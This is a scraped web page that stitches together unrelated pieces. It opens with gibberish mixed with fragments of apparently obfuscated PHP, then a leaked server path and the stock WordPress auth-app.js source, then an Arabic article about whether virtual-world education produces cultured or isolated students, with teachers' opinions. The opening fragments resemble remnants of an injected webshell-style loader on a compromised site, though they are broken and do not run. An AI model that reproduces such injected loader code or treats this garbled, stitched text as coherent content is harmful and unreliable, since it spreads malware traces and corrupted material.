财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-admin/js/auth-app.js
/**
 * @output wp-admin/js/auth-app.js
 */

/* global authApp */

( function( $, authApp ) {
	var $appNameField = $( '#app_name' ),
		$approveBtn = $( '#approve' ),
		$rejectBtn = $( '#reject' ),
		$form = $appNameField.closest( 'form' ),
		context = {
			userLogin: authApp.user_login,
			successUrl: authApp.success,
			rejectUrl: authApp.reject
		};

	$approveBtn.on( 'click', function( e ) {
		var name = $appNameField.val(),
			appId = $( 'input[name="app_id"]', $form ).val();

		e.preventDefault();

		if ( $approveBtn.prop( 'aria-disabled' ) ) {
			return;
		}

		if ( 0 === name.length ) {
			$appNameField.trigger( 'focus' );
			return;
		}

		$approveBtn.prop( 'aria-disabled', true ).addClass( 'disabled' );

		var request = {
			name: name
		};

		if ( appId.length > 0 ) {
			request.app_id = appId;
		}

		/**
		 * Filters the request data used to Authorize an Application Password request.
		 *
		 * @since 5.6.0
		 *
		 * @param {Object} request            The request data.
		 * @param {Object} context            Context about the Application Password request.
		 * @param {string} context.userLogin  The user's login username.
		 * @param {string} context.successUrl The URL the user will be redirected to after approving the request.
		 * @param {string} context.rejectUrl  The URL the user will be redirected to after rejecting the request.
		 */
		request = wp.hooks.applyFilters( 'wp_application_passwords_approve_app_request', request, context );

		wp.apiRequest( {
			path: '/wp/v2/users/me/application-passwords?_locale=user',
			method: 'POST',
			data: request
		} ).done( function( response, textStatus, jqXHR ) {

			/**
			 * Fires when an Authorize Application Password request has been successfully approved.
			 *
			 * In most cases, this should be used in combination with the {@see 'wp_authorize_application_password_form_approved_no_js'}
			 * action to ensure that both the JS and no-JS variants are handled.
			 *
			 * @since 5.6.0
			 *
			 * @param {Object} response          The response from the REST API.
			 * @param {string} response.password The newly created password.
			 * @param {string} textStatus        The status of the request.
			 * @param {jqXHR}  jqXHR             The underlying jqXHR object that made the request.
			 */
			wp.hooks.doAction( 'wp_application_passwords_approve_app_request_success', response, textStatus, jqXHR );

			var raw = authApp.success,
				url, message, $notice;

			if ( raw ) {
				url = raw + ( -1 === raw.indexOf( '?' ) ? '?' : '&' ) +
					'site_url=' + encodeURIComponent( authApp.site_url ) +
					'&user_login=' + encodeURIComponent( authApp.user_login ) +
					'&password=' + encodeURIComponent( response.password );

				window.location = url;
			} else {
				message = wp.i18n.sprintf(
					/* translators: %s: Application name. */
					'<label for="new-application-password-value">' + wp.i18n.__( 'Your new password for %s is:' ) + '</label>',
					'<strong></strong>'
				) + ' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />';
				$notice = $( '<div></div>' )
					.attr( 'role', 'alert' )
					.attr( 'tabindex', -1 )
					.addClass( 'notice notice-success notice-alt' )
					.append( $( '<p></p>' ).addClass( 'application-password-display' ).html( message ) )
					.append( '<p>' + wp.i18n.__( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) + '</p>' );

				// We're using .text() to write the variables to avoid any chance of XSS.
				$( 'strong', $notice ).text( response.name );
				$( 'input', $notice ).val( response.password );

				$form.replaceWith( $notice );
				$notice.trigger( 'focus' );
			}
		} ).fail( function( jqXHR, textStatus, errorThrown ) {
			var errorMessage = errorThrown,
				error = null;

			if ( jqXHR.responseJSON ) {
				error = jqXHR.responseJSON;

				if ( error.message ) {
					errorMessage = error.message;
				}
			}

			var $notice = $( '<div></div>' )
				.attr( 'role', 'alert' )
				.addClass( 'notice notice-error' )
				.append( $( '<p></p>' ).text( errorMessage ) );

			$( 'h1' ).after( $notice );

			$approveBtn.removeProp( 'aria-disabled', false ).removeClass( 'disabled' );

			/**
			 * Fires when an Authorize Application Password request encountered an error when trying to approve the request.
			 *
			 * @since 5.6.0
			 * @since 5.6.1 Corrected action name and signature.
			 *
			 * @param {Object|null} error       The error from the REST API. May be null if the server did not send proper JSON.
			 * @param {string}      textStatus  The status of the request.
			 * @param {string}      errorThrown The error message associated with the response status code.
			 * @param {jqXHR}       jqXHR       The underlying jqXHR object that made the request.
			 */
			wp.hooks.doAction( 'wp_application_passwords_approve_app_request_error', error, textStatus, errorThrown, jqXHR );
		} );
	} );

	$rejectBtn.on( 'click', function( e ) {
		e.preventDefault();

		/**
		 * Fires when an Authorize Application Password request has been rejected by the user.
		 *
		 * @since 5.6.0
		 *
		 * @param {Object} context            Context about the Application Password request.
		 * @param {string} context.userLogin  The user's login username.
		 * @param {string} context.successUrl The URL the user will be redirected to after approving the request.
		 * @param {string} context.rejectUrl  The URL the user will be redirected to after rejecting the request.
		 */
		wp.hooks.doAction( 'wp_application_passwords_reject_app', context );

		// @todo: Make a better way to do this so it feels like less of a semi-open redirect.
		window.location = authApp.reject;
	} );

	$form.on( 'submit', function( e ) {
		e.preventDefault();
	} );
}( jQuery, authApp ) );
بين التربية والتقنية هل ينتج العالم الافتراضي جيلاً مثقفًا أم معزولًا؟ – tahkoom.com
معرفة

بين التربية والتقنية هل ينتج العالم الافتراضي جيلاً مثقفًا أم معزولًا؟

كتبت شروق عارف

في ظل التطور التكنولوجي الحادث والابتكارات الجديدة ظهر العالم الافتراضي الذي أحدث ثورة في كافة المجالات مما جعلنا نطرح سؤال مهم ماذا لو أصبح التعليم مرتبط بالعالم الافتراضي؟ وكيف سيؤثر هذا الربط على الطلاب وتحصيلهم الأكاديمي ؟
  ما هو العالم الافتراضي والميتافيرس؟                                                                                            
في البداية علينا تعريف العالم الافتراضي والميتافيرس العالم الافتراضي يعد تقنية تسمح للمستخدمين بالانخراط في بيئة ثلاثية الأبعاد و يتم إنشاؤها من خلال الحاسوب ويتيح العالم الافتراضي للمستخدمين الشعور بأنهم حاضرين في هذا العالم يحدث ذلك من خلال استخدام نظارات مخصصة كما عرف المركز الوطني للتعليم الإلكتروني العالم الافتراضي بأنه بيئة افتراضية بالكامل
أما الميتافيرس فهو عبارة عن عالم رقمي ثلاثي الأبعاد يحاكي الواقع ويتيح التفاعل الاجتماعي والترفيهي بمعنى أوضح يعد بيئة مفتوحة تمثل العالم الحقيقي تتيح لأي شخص التحرك في أي مكان داخل العالم الافتراضي هذه التقنية المتقدمة تخلق بيئة افتراضية تتيح للمستخدمين التفاعل معها بشكل واقعي
‏ التعليم في العالم الافتراضي
‏ في حالة ربط التعليم بالعالم الافتراضي سوف يحدث ذلك طفرة في أساليب التدريس من خلال خلق موارد تعليمية جديدة مما سيساهم بشكل كبير في تحسين تجربة التعليم من خلال تعزيز المشاركة وزيادة الاحتفاظ بالمعلومات سيتم ذلك من خلال إدخال الطالب في بيئة ثلاثية الأبعاد مما سيتيح له تجربة تعليمية فريدة من نوعها
مزايا وتحديات ربط التعليم بالعالم الافتراضي                                                                                     
من أهم المزايا التي يقدمها العالم الافتراضي للطلاب هو إعدادهم للعمل في المستقبل وذلك من خلال تزويدهم بخبرات لا حصر لها كما أن ربط التعليم بالعالم الافتراضي سيساهم بشكل كبير في زيادة القدرة على الاحتفاظ بالمعلومات بالإضافة إلى ذلك يمكن للعالم الافتراضي توفير تجارب تعليمية فريدة من نوعها باستخدام تقنية الواقع الافتراضي التي تتيح نقل الطلاب إلى أماكن وبيئات مختلفة قد لا يتمكنون من الوصول إليها بطرق تقليدية
‏ ومع ذلك، تواجه هذه الفوائد عدة تحديات أبرزها التكلفة العالية حيث تعتبر معدات وبرامج الواقع الافتراضي باهظة الثمن بالإضافة إلى ذلك هناك نقص في تدريب المعلمين على استخدام تقنيات الواقع الافتراضي مما قد يؤدي إلى انخفاض في نتائج التعلم فعلى سبيل المثال تجربة نظام التابلت في أول سنة حققت فشل ذريع وذلك بسبب عدم فهم المعلمين والطلاب لطبيعة النظام

آراء متباينة حول فاعلية العالم الافتراضي
أوضح محمد عصام مدرس الفلسفة وعلم النفس في المرحلة الثانوية أن فكرة ربط التعليم بالعالم الافتراضي تعتبر مميزة للغاية ولكن أكد على ضرورة تطبيقها بشكل صحيح ومدروس وأضاف أن الإمكانيات الحالية في مصر لا تسمح بتطبيق هذه التقنية كما أضاف الاعتماد المفرط على التكنولوجيا في التعليم سوف يكون له آثار سلبية على الطلاب بالإضافة إلى أن العالم الافتراضي لا يمكن أن يحل محل المعلم
من جانبه قال محمود محسن مدرس اللغة العربية بالمرحلة الإعدادية إن إدخال العالم الافتراضي في التعليم قد يوثر بشكل إجابي في العملية التعليمية من حيث الشكل والمحتوى لكنه شدد على أهمية المعلم في التعليم موكدا أن التفاعل المباشر بين الطالب والمعلم يظل عنصرًا أساسيا لا يمكن الاستغناء عنه وأضاف محمود أن التعليم لا يقتصر فقط على المعلومات بل يشمل القيم والتربية والتوجيه وهي أمور يصعب نقلها بشكل فعال من خلال بيئة افتراضية بحتة
وعلي جانب اخر أضاف أحمد فؤاد مدرس الدراسات في المرحلة الابتدائية أن استخدام العالم الافتراضي في التعليم سيسهم بشكل كبير في تحسين مستوى تحصيل الطلاب خاصة في المرحلة الابتدائية وأوضح أن دمج التكنولوجيا في العملية التعليمية سيجعل الدراسة أكثر متعة مما قد يزيد من دافعية الطلاب للتعلم وتحسين استيعابهم للمحتوى

‏ يمكن القول إن ربط التعليم بالعالم الافتراضي قد يسهم بشكل كبير في توسيع أفاقنا الفكرية وسوف يجعل التجربة التعليمية أكثر متعة ولكن مع ذلك يجب التعامل مع هذه التقنية بحذر حتى نتجنب الأثار السلبية وعلينا التأكد أن العالم الافتراضي لا يمكن أن يحلل محل المعلم

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى